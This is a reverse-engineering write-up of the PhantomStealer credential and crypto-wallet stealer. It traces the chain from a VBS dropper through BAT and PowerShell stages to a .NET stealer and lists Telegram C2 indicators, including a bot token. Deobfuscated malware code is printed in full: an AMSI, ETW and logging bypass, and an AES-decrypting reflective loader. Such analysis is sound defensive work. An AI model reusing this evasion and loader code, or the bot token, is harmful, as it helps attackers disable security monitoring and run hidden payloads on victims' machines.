PhantomStealer Malware Analysis

PhantomStealer Malware Analysis

October 2, 2025
Fuad Aliyev
Malware Analysis
Reverse Engineering
Stealer

What is PhantomStealer?

PhantomStealer is a malicious program (malware) designed to steal sensitive information from infected computers. It primarily targets data from web browsers (like saved passwords, cookies, and credit cards) and cryptocurrency wallets. It is sold as a "Malware-as-a-Service" (MaaS) on dark web forums, making it accessible to cybercriminals with limited technical skills. The stolen data is then sent to a server controlled by the attacker.

Small Story

The vbs file is provided by abuse.ch. It is a dropper file and highly obfuscated. The sample I had at the end (the main stealer) had all logging available, basically telling what it does and it was .NET executable which is so easy to understand functionality. I uploaded the file and provided IOC at the end of the page, you can check it out but I will also list every functionality of malware.

Flow

1|500

Dropper

VBS

It is basic obfuscated dropper written in vbs. Removing last line is enough to block execution but write file to the directory:

1|600

The next bat file will be dropped to: "C:\Users\Public\PondShed7932.bat"

BAT

This file will copy itself it to "%userprofile%/aoc.bat", which is important for future usage, this file is important part for other payloads, as it has every data encrypted in it, for example lines starting with ":::" and "::" are later gonna be used. 1 for evading AV and other 2 "::" will be decrypted and saved as .NET executables.

Next up, this bat file will execute a line which deobfuscates to this:

"\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGI...ACgA='.Replace('wtvtxislef','')))))"

and base64 decoded will be:

$banana="$env:USERPROFILE\aoc.bat";if(Test-Path $banana){$rawLines=gc $banana|?{$_ -like ":::*"};$part1=($rawLines|?{$_ -like ":::1*"}|%{$_.Substring(4)});$part2=($rawLines|?{$_ -like ":::2*"}|%{$_.Substring(4)});$part3=($rawLines|?{$_ -like ":::3*"}|%{$_.Substring(4)});$kiwi=$part1+$part2+$part3;$apple=($kiwi-replace"[~#@]",""-replace"sshzuxfsghidzyh","");if($apple){try{iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple)))}catch{}}} $orange='H4sIAAAAAAAEAJVU23LTMB...TgYAAA==';$mango=[Convert]::FromBase64String($orange);$pineapple=New-Object IO.MemoryStream(,$mango);iex(New-Object IO.StreamReader(New-Object IO.Compression.GZipStream($pineapple,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

We are going to go with ":::" lines (AV evader) first then continue with second payload executed (.NET dropper).

AV Evader (PS1)

  • Try to create bypass policy:
$currentFruitPolicy = Get-ExecutionPolicy -Scope CurrentUser -ErrorAction SilentlyContinue if ($currentFruitPolicy -ne 'Unrestricted' -and $currentFruitPolicy -ne 'Bypass') { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue }
  • Try to patch EtwEventWrite, which is done using GetProcAddress to find the address in process and write "0xC3" or "0xC2, 0x14, 0x00" (translates to return)

  • set amsiSession and amsiContext value to Null (used by AVs)

  • remove child items at 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' registry path

  • Disable Event Logging

$citrusUtils = [Ref].Assembly.GetType('System.Management.Automation.Utils') if ($citrusUtils) { $policyCache = $citrusUtils.GetField('cachedGroupPolicySettings','NonPublic,Static') if ($policyCache) { $currentSettings = $policyCache.GetValue($null) if (!$currentSettings) { $currentSettings = @{} } $currentSettings['ScriptBlockLogging'] = @{ 'EnableScriptBlockLogging' = 0 'EnableScriptBlockInvocationLogging' = 0 } $currentSettings['ModuleLogging'] = @{ 'EnableModuleLogging' = 0 'ModuleNames' = @() } $currentSettings['ProtectedEventLogging'] = @{ 'EnableProtectedEventLogging' = 0 } $currentSettings['Transcription'] = @{ 'EnableTranscripting' = 0 'EnableInvocationHeader' = 0 'OutputDirectory' = '' } $policyCache.SetValue($null, $currentSettings) } }

Dropper (PS1)

Now we can continue with dropper. This is small payload and not hard to understand:

$wjgbg = $env:USERNAME; $skhbb = "C:\Users\$wjgbg\aoc.bat"; function clkq($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('6Aw/bids5nof8naOdwuxDBa+eiQ10akrEoFwKz2axsY='); $aes_var.IV=[System.Convert]::FromBase64String('rFeF61yigw9cHvyuyAXmJw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var; } function hhzuu($param_var){ $ectgm=New-Object System.IO.MemoryStream(,$param_var); $aossr=New-Object System.IO.MemoryStream; $esaup=New-Object System.IO.Compression.GZipStream($ectgm, [IO.Compression.CompressionMode]::Decompress); $esaup.CopyTo($aossr); $esaup.Dispose(); $ectgm.Dispose(); $aossr.Dispose(); $aossr.ToArray(); } function tukg($param_var,$param2_var){ $azdup=[System.Reflection.Assembly]::Load([byte[]]$param_var); $amkwo=$azdup.EntryPoint; $amkwo.Invoke($null, $param2_var); } $host.UI.RawUI.WindowTitle = $skhbb; $hdfiu=[System.IO.File]::ReadAllText($skhbb).Split([Environment]::NewLine); foreach ($nxffh in $hdfiu) { if ($nxffh.StartsWith(':: ')) { $awgoc=$nxffh.Substring(3); break; } } $ceen=[string[]]$awgoc.Split('\'); $bllwg=hhzuu (clkq ([Convert]::FromBase64String($ceen[0]))); $lhyw=hhzuu (clkq ([Convert]::FromBase64String($ceen[1]))); tukg $bllwg $null; tukg $lhyw (,[string[]] ('%*'));

So, as you can see 2 executables are dropped and executed. First dropped exe is 4kb with no functionality and second is another .NET executable which drops another executable.

Dropper (.NET)

1|1000

setting breakpoint and execution is enough to retrive all bytes and save them in a file.

Stealer (.NET)

The thing about this malware is it is self-explanatory, pretty much everything is obvious and almost every function has logging

1|400

Even in the function names, you can understand every what it does. I prefer to just upload files in malware bazaar and anyone that needs deep look in the malware can check out file himself/herself using dnspy or any other decompiler.

C2

These are C2 strings I found: TelegramApi: 8442938311:AAFhmUtiYqFc4J6aGD3Cu8FYrB7hQAyUhCQ TelegramID: 5639113726

"id":8442938311 "is_bot":true "first_name":"DUBEM" "username":"DubebubeBot" "can_join_groups":true "can_read_all_group_messages":false "supports_inline_queries":false "can_connect_to_business":false "has_main_web_app":false